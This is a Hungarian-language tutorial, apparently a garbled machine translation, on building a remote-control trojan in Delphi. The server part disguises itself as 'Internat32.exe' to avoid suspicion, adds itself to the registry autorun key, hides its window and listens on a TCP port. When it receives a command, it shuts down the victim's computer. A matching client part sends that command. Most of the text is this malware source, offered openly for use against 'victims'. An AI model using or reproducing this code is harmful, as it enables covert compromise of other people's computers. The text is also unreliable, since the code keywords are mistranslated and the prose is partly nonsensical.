Hogyan hozzunk létre egy trójai

Hogyan hozzunk létre TROJAN!


Az egyszerűség kedvéért a testet fogunk csinálni Delphi.

Készülj, írásban csak két kanyar. Egy lesz található a gépen (az ügyfél), a másik pedig, hogy dobja az áldozat (a szerver). Munka lesz egy csomó, így a kevesebb szóval, és közelebb a test.

Trójai szerver:
Tehát futni Delphi vagy ha már fut, hozzon létre egy új projektet ( «File» - «Új alkalmazás»). Mi most veszi át a szerver oldalon egy trójai.

Elsőként válassza a menüpontot «Options» A «Project» menüből. van egy ablak előtt van, ahogy az 1. ábrán látható.

Itt meg kell mozgatni «1-től» részén a «Auto-Create formák» (a lista a bal oldalon) a «Szabad formák» (a lista a jobb oldalon), ahogy az velem. Csak hogy leválasztásuk 1-től lehet kezdeményezni egy listát az autók formája. Most, inicializálás lesz, hogy kézzel. Ne félj, ez nagyon egyszerű.

Az oldal «Alkalmazások» azonos párbeszéd «Load Icon» gombot. Módosításához kattintson a ikonra következő kanyar. Ha az ikon nem változik, akkor kell használni delfyachaya, és gyorsan ad a halálos fegyver.

Most van, hogy dobja a forma ServerSocket eleme a «Internet» részén egy szerver protokoll (TCP alapértelmezés szerint, és van elég). Mark létre ServerSocket1 és megy ObjektumLekérdező. Csak «Port» az ingatlan felkeltette érdeklődését itt. Az alapértelmezett érték 1024, de azt tanácsolom, hogy változtassa meg más (lehetőleg több mint 1000).

Most kattintson divat bárhol a formában, hogy aktiválja a tulajdonságait. Ide ObjektumLekérdező-and-click az Események lapon. Kattintson duplán divat «OnCreate» vonal, és a Delphi, mint mindig, létrehoz egy eljárást, akkor kell végrehajtani inicializálás formában. Írja meg a következők szerint:

eljárás TForm1.FormCreate (Sender: TObject);
var Regini: TRegIniFile;
kezdődik
Regini: = TRegIniFile.Create ( '' szoftver '');
RegIni.RootKey: = HKEY_LOCAL_MACHINE;
RegIni.OpenKey ( '' szoftver '', true);
RegIni.OpenKey ( '' Microsoft '', true);
RegIni.OpenKey ( 'Windows '', true);
RegIni.OpenKey ( '' CurrentVersion '', true);
RegIni.WriteString ( '' RunServices '', '' Internat32.exe '',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
végén;

Most megy a szöveg elejére, és írjon után «használ» szót «registry». Tettünk ez a művelet a cikk a mega-lejátszó, de ismétlem, ez fog kinézni:

használ adatbázis a Windows, az Üzenetek,

Most fogom elmagyarázni, hogy mit írtunk az eljárásban.

«Var Regini: TRegIniFile» - itt már bejelentett egy változó típusú Regini TRegIniFile. Segítségével ezt a változót fogunk kommunikálni az adatbázis.

«Regini: = TRegIniFile.Create ( '' szoftver '')» - inicializálni jelző változó adatbázis.

«RegIni.RootKey: = HKEY_LOCAL_MACHINE» azt mondják, hogy mi érdekli a HKEY_CURRENT_USER rendszerleíró kulcsot.

«RegIni.OpenKey ( '' szoftver '', true)» - nyitott alfejezetben «szoftver».

Aztán kinyitom az al-sorozat, ami az utat a gyomrában az ablakokat.

«RegIni.WriteString (»«RunServices»«,»«Internat32.exe»«, Application.ExeName)»- rögzítik az »RunServices részben« (ebben a részben tárolja a programot, hogy automatikusan betöltődik induláskor), egy új opció neve« Internat32.exe »(jövőbeni fájl) és értéke Application.ExeName (itt tartotta a teljes elérési utat a futó trójai).

«RegIni.Free» - törölje a felesleges hosszabb Regini objektumot.

Mindez pedig azért lett, hogy ha egy program elindul, maga előírt indítási szakaszban. És ez automatikusan betöltődik a memóriába, amikor a számítógép újraindul.

A legújabb húr «ServerSocket1.Active:=true» elindul a szerver a megadott portot.

A töltés befejeződik. Most zaymomsya kirakodás. Ismét Mark alakja és az Események fülre ObjektumLekérdező-and-click módon kétszer «OnDistroy» vonalon. Most ez létre fog hozni egy eljárást, amely elvégezhető a megsemmisítés formájában. A megállapított eljárást ír:

eljárás TForm1.FormDistroy (Sender: TObject; var Action: TCloseAction);
kezdődik
ServerSocket1.Active:=false;
végén;

Ez azt le a szerver. Ha nem, akkor amint újraindítja a áldozat lehet fogni a kék képernyő, ha ebben az időben fog csatlakozni a szerverhez. Egyrészt, ez jó. Az áldozat ismét győzni a rossz biztonságát ablakok. És a másik, én nem hiszem, hogy tegyenek úgy, mintha idő előtt. Különösen, hogy a kék képernyő újraindítás után leállhat, és nem kell azt (előre néz, és azt mondják, hogy mi lesz, hogy túlterheli az áldozat számítógépén).

Most akkor ki kell választania ServerSocket1 és megy a Programok fülre ObjektumLekérdező-a. Kattintson duplán divat «OnClientRead» sort, és meghatározott eljárás (ez lesz az úgynevezett amikor valami jön port) Írj:

eljárás TForm1.ServerSocket1ClientRead (Sender: TObject;
Hüvely: TCustomWinSocket);
kezdődik
ha Socket.ReceiveText = '' R '', akkor
ExitWindowsEx (EWX_SHUTDOWN, 0);
végén;

Most, mint amilyennek hangzik nyelvünk:

Ha a fogadott szöveges = „R” betű a
Küldje el a számítógépet redaun.

ExitWindowsEx - redaun hogy a Windows roll, és húzza ki a számítógépet az elektromos hálózatról. Én egy jó srác, így a használt EWX_SHUTDOWN opciót. Ezzel a lehetőséggel, mielőtt redaunom az összes futó alkalmazást repülni kérés ki van kapcsolva, és az áldozat lesz képes menteni a megváltozott adatokat. Ha hevesen, majd EWX_FORCE. Ebben az esetben a számítógép fog esni figyelmeztetés nélkül, és a fény sebessége, így az áldozatnak nem volt ideje félni levegő iszappal :).

Troyan majdnem kész, mentse el. Ehhez válassza «Save All» a «File» menüből. Kezdete óta a Delphi árajánlatkérő neve. Hagyjuk az alapértelmezett (egység1), majd kattintson a „Mentés”. Akkor lesz egy kérelmet a projekt neve, amely lehet használni, mint a neve a EXE fájlt. Hívd «Internat32», hogy a fájl nem okoz gyanút.

Istállóban ló:
Most van, hogy elrejtse a jövőben horoshenechko ló, így nem volt látható a tálcán. Ehhez válassza «Project Manager» menüben a «View» menüből. Mielőtt nyissa ki az ablakot, ahogy a 2. ábrán látható.

Kattintson a jobb gombbal divat Internat32.exe és a menüből válasszuk a «View Source». Mielőtt megnyit egy kis fájlt a forráskódot a projekt. Összehasonlítás amit látsz ezzel a szöveggel, és a Fill mi hiányzik, és mi is túl sok - elvenni (így nem túl sok):

felhasználások
Formák,
Windows-t.
Egység1 a 'Unit1.pas „”;

var
WhEvent: THandle;
kezdődik
Application.Initialize;
ShowWindow (Application.Handle, SW_Hide);
Form1: = TForm1.Create (nulla);
Application.Run;

WhEvent: = CreateEvent (nil, igaz, hamis, '' et '');
while (true) do
kezdődik
WaitForSingleObject (WhEvent, 1000);
Application.ProcessMessages;
végén;
végén.

Legyen óvatos, amikor a másolás. Mindent meg kell 1-1. Most elmondom, hogy mi van írva van:

Kezdetben semmi érdekes, és egyáltalán nem érinti. Mi érdekli, ami meg van írva a szó után «Var».

WhEvent: THandle - Mondom, hogy én kell WhEvent mutató egy üres esemény Thandle.

Application.Initialize - inicializálja a trójai.

ShowWindow (Application.Handle, SW_Hide) - beállítja a paramétereket az ablakon. Paraméter SW_Hide - azt mondja, hogy az ablak láthatónak kell lennie. Az egyetlen módja, akkor majd látni, hogy a Ctrl + Alt + Del. De itt, szoktuk ne keltsen gyanút (csak kanna profik már régóta ismert ez a név) nevet.

Form1: = TForm1.Create (nulla) - hozzon létre egy űrlapot. Azt kell megtenni, mert már eltávolította a lista formájában gyártott autók.

Application.Run - elindítja a trójai. eseménykezelőkkel futnak itt a cucc, ami a felelőssége, Delphi és ami kellett volna írni kézzel C vagy C ++. De itt minden nagyon egyszerű.

WhEvent: = CreateEvent (nulla, igaz, hamis, '' et ') - inicializálja üres esemény.

A következő öt sor, írok a szavak, és akkor foglalkozni, mint mindig összehasonlításképpen:

While (true), hogy végre
kezdeni a ciklust
Várja meg, amíg az esemény (üres esemény 1000 ezredmásodperc)
átveheti az irányítást
teljes ciklus

Két sor között elején és végén a ciklus korlátlan ideig tart, mert az igaz mindig igaz, és ez a kiadás nem ciklust. A teljes ciklus zaklyuchaetsya két tulajdonsággal:

1. számú kísérletek vár létező esemény. Mivel nincs esemény, akkor a program prozhdot pontosan meghatározott időben, mint a második paraméter (1000 milliszekundum vagy 1 másodperc).

2. Kezdő kezelése.

A második lépés után a program visszatér az 1. bekezdés és elkezd vár. Várakozás közben a használó más alkalmazásokkal, mint rendesen. Amikor Troyan (1 másodpercenként) át a vezetés, a ló ellenőrzés: Van neki üzenetet. Ebben az esetben az üzenet lehet egy dolog - jön a vezetőség megadott portot. Ha az üzenet, a trójai végrehajtja. És minden esetben (a jelentések, akár nem), akkor a felhasználó újra működik 1 másodpercre, minden gond nélkül. Ellenőrzése zajlik olyan gyorsan, hogy az áldozat nem érzi a terhet a trójai akár 4/100 egy kő.

Most pedig az a része az ügyfél, amely akkor fut a számítógépen, hogy ellenőrizzék az áldozat számítógépén.

Trojan Horseman:
Ismét mentse el a változtatásokat, és hozzon létre egy új projektet. Itt az ideje, hogy írjon az ügyfél része a trójai. Csak egy pár perc kemény munka, és minden szép :).

Egy új projekt van, hogy feladja a három összetevőből áll:

1. gomb «Standart» lapon a parancsokat, hogy az áldozat számítógépén.

3. ClientSocket könyvjelzők «Internet» port a kliens kommunikál a szerverrel

Nézd meg a 3. ábrán, akkor van valami hasonló.

Mark ClientSocket1 és ObjektumLekérdező-e módosítani a tulajdonságait a port. Alapesetben 0, de van, hogy az egyetlen, amit rendelni a szerverre.

Most kattintson duplán divat gombra, és hozzon létre egy olyan eljárás (a felvezető megnyomása) a következő módon lehet.

eljárás TForm1.Button1Click (Sender: TObject);
kezdődik
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText ( '' R '');
ClientSocket1.Active:=false;
végén;

ClientSocket1.Active:=true - aktiválja a kapcsolatot a szerverrel.

ClientSocket1.Socket.SendText ( 'R') -, hogy küldjön a levél R. Tudod, volt egy pár perce. Ha a szerver megkapja az R betű, akkor terhelje túl a gépet.

ClientSocket1.Active:=false - zárja le a kapcsolatot a szerverrel.